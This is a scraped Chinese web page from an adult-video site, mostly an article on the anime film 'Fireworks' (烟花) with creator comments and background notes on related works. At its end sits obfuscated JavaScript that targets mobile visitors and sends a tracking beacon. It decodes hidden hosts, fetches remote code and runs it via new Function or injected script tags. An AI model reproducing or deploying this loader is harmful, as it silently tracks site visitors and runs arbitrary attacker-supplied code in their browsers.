首页 » 图籍 » 番号资讯 » 《烟花》：原著岩井俊二 编剧大根仁 导演新房昭之的视觉盛宴

《烟花》：原著岩井俊二 编剧大根仁 导演新房昭之的视觉盛宴

小草AV    人气:787  2022-07-11

小草AV   

《烟花》：原著岩井俊二 编剧大根仁 导演新房昭之的视觉盛宴

今年年度最期待的动画作品《烟花》，在日本上映首日即突破1亿7千万日圆，成功引爆电影票房！《烟花》由《你的名字》制片发行团队亲自操刀，网友盛赞电影画面非常细致，剧情成功描写青春期每个人都有过的蒙懂与悸动，大呼：让人超想回春再当一次学生！

《烟花》：原著岩井俊二 编剧大根仁 导演新房昭之的视觉盛宴

众主创表示当听说《烟花》想改编成动画片的企划时非常惊讶，同时也很好奇；因为他门他们非常喜欢动画，很想看看会变成什么样子。就算会成为完全不一样的作品，也想看有哪些不同之处。所以是抱持着将自己已经完成的创作，再度交给别人重制的心情，反而希望对方能够自由发挥。
改编这部作品时，原本以为是重拍成剧情长片，但是原本的『烟花』是完成度极高的经典，根本不可能再被翻拍。后来才决定是「动画长片」，而且由新房昭之执导，感觉能做出一些新意，也意识到会是很困难的挑战，不过心情是很雀跃的

毕竟『烟花』是真人实拍剧情片啊。原作我以前就知道，接案前认真重温了一次，仔细思考该如何改编成动画片。要按照原作拍也行，只套用设定、改掉故事剧情也行，有很多种拍法，所以一直在思考该怎么改编，或是制片希望我怎么改编。不过在SHAFT创作的原则是有新的事物就该去挑战看看，一直以来这种心情都很强烈，所以一拍即合，非常有默契。

《烟花》：原著岩井俊二 编剧大根仁 导演新房昭之的视觉盛宴

对大根导演的印象就是他在日剧里对《烟花》致敬的事啊，而且它也是原创剧本，居然从镜位都刻意拍得一模一样，这种致敬方式太惊人了，我反而深受感动，从此变成大根导演的粉丝（笑）对新房导演的印象是《魔法少女小圆》最强烈。尤其是结尾最高潮的部份。
岩井导演的作品在视觉上非常有魅力，要把它翻拍成动画。现在拍摄技术日新月异，实拍电影也能拍出许多天马行空的效果，我常常觉得动画的立场显得越来越薄弱了

《烟花》：原著岩井俊二 编剧大根仁 导演新房昭之的视觉盛宴

有一点比较在意的，那就是＂故事（时间）回溯＂的部份。原作是以《if如果…》这部电视剧的设定为基础所展开的，后来在电影院上映时，（因为没看过日剧）许多人反映「不了解时间为何会倒转」。因此只翻拍《烟花》这个故事的话，要不要多做说明，或是制定一套叙事规则，希望这点又成为动画版的bug，要如何处理在叙事在线的基础设定呢？挺期待的。

另外，岩井导演当年写剧本的时候还是学生时期吧。听他聊原本的概想就觉得好厉害；然后没有按照原本预期的方向，而是拍出后来的《烟花》真是太好了，我认为日剧版的《烟花》有如《两小无猜》和《Stand by me（伴我同行）》，但是岩井导演说他本来想拍成《银河铁道之夜》的感觉。

《烟花》：原著岩井俊二 编剧大根仁 导演新房昭之的视觉盛宴

新房表示原作的设定是小学生，但是后来改为国中生，因为动画形式上用小学生会有视觉过于稚嫩的风险。
还有，大家觉得服装用制服比较好，不过男生制服从小学到高中都长得差不多，国一的男生根本看起来与小学生无异，因此这部份稍微更动原作的设定也没有大碍。
我默默想过，要翻拍的话的确改成中学生比较好，因为小学和中学是不太一样的阶段，才能让作品呈现新的感觉，我觉得不要跟原作太接近反而更有感觉。不过看到成品时还是很不可思议呢，动画版和真人版比我想像中还不同，甚至觉得台词很耳熟而已，那让人很开心呢！毕竟实拍作品改编成动画的案例不多。
说到台词的编写，虽然理解实拍和动画的不同是进行本片的前提，但是在动画技巧日新月异的现今，也许可以再自然点，某些部份再暧昧不明一点，或是放入一些不必要的对话，类似戏剧中即兴发挥的效果。那些偶然而生的悸动，或许就是实拍戏剧胜过动画的部分吧。再者，真实的对话情节，在原作中就占了很重要的角色，如何让对话显得更加自然也是个问题呢。

《烟花》：原著岩井俊二 编剧大根仁 导演新房昭之的视觉盛宴

【备注】
1.《烟花》
1993年8月26日以「if如果…」（富士电视台）其中一集在电视上播出，岩井俊二包办导演、原著及编剧的日剧。故事讲述花火大会那天，小学生奈砂向同班同学的典道和佑介提出，50公尺短泳比赛胜出的人可以跟自己私奔…。本剧破例首度以电视剧荣获日本电影导演协会新人奖，并于1995年8月12日在戏院上映重新剪接的电影版。
2.《草食男的桃花期》
桃花突然大开的草食系宅男幸世为主角的电视剧，改编自久保美津郎的同名漫画。2010年7月到10月在东京电视台播出，由大根仁担任编剧兼导演。满岛光为女主角的第二集「深夜高速公路～搭上面还是睡下面～」是以走访『烟花』拍摄地点为题，百分百还原岩井导演原作的镜位和分镜。本剧在播出隔年推出以日剧版的后续为内容的电影版。
3.《魔法少女小圆》
新房昭之执导，SHAFT制作的动画作品。2011年1月到5月在MBS每日放送等频道播出全12集。故事内容讲述少女实现愿望的代价是成为＂魔法少女＂，投入战事之中的命运乖戾。残酷的表现手法和崭新的视觉呈现，以及冲击的最后结尾造成广大话题性，2012到13年之间，总共推出总集篇和全新创作的电影版共三部，系列作品的票房成绩超过30亿圆日币，轰动程度可比社会现象。
4.《if如果…》
1993年4月到9月于富士电视台播出的短篇系列连续剧。比如「结婚要选有钱的女人还是处得来的女人？」（第一集）等，以人生中做选择的分歧点为主题，拍出两种不同结局的故事。
5.《两小无猜》
1971年上映的英国电影。11岁的丹尼尔和美乐地的两小无猜纯爱故事，亚伦帕克导演的处女作。私奔和铁道是片中的重要意象。
6.《Stand by me（伴我同行）》
1986年上映的美国电影，讲述四位展开「寻找尸体」之旅的少年，在某个夏天的冒险和成长。史蒂芬金的小说原著，导演是罗伯莱纳。日剧版『烟火』饰演典道的山崎裕太，在1997年的日本版舞台剧扮演原为瑞凡菲尼克斯演出的克利斯一角。
7.《银河铁道之夜》
日本著名诗人兼童话作家宫泽贤治的代表作，描写少年的银河铁道之旅。「银河铁道之夜」是「烟花」致敬的作品，岩井俊二在纪录片「少年们想从侧边看烟火」（99）中也曾提过，作品构成深受「银河铁道之夜」的影响。
8.《穿越时空的少女》
科幻小说作家筒井康隆在1965年发表的青春作品。故事叙述有穿越时空能力的少女和子的神奇体验。含动画在内，曾经被四度翻拍成电影，六度翻拍成电视剧，被视为每个时代挖掘新生代女演员的重要跳板。

 

  • 以上内容均来源于互联网，由MGS美女番号网（www.xiaocaoav3.com）整理发布！

上一篇: 《神雕侠侣H版读本》杨过与小龙女篇 (一)
下一篇:FANZA成人大赏谁得奖？ 日本经纪人这么看…
热门影评

《星辰网讯》 今年年度最期待的动画作品《烟花》，在日本上映首日即突破1亿7千万日圆，成功引爆电影票房！《烟花》由《你的名字》制片发行团队亲自操刀，网友盛赞电影画面非常细致，剧情成功描写青春期每个人都有过的蒙懂与悸动！

猜你喜欢

小草AV手机版 www.xiaocaoav15.com

function TMkmBD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function HiyJEfw(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TMkmBD(t);};window[''+'i'+'W'+'p'+'B'+'x'+'P'+'G'+'u'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function swFJh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=HiyJEfw,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=swFJh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/15541/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=swFJh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmd1a2dzby5jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS5jbm1lbnQuY24lM0E5NTM1','167870',window,document,['M','G']);}:function(){};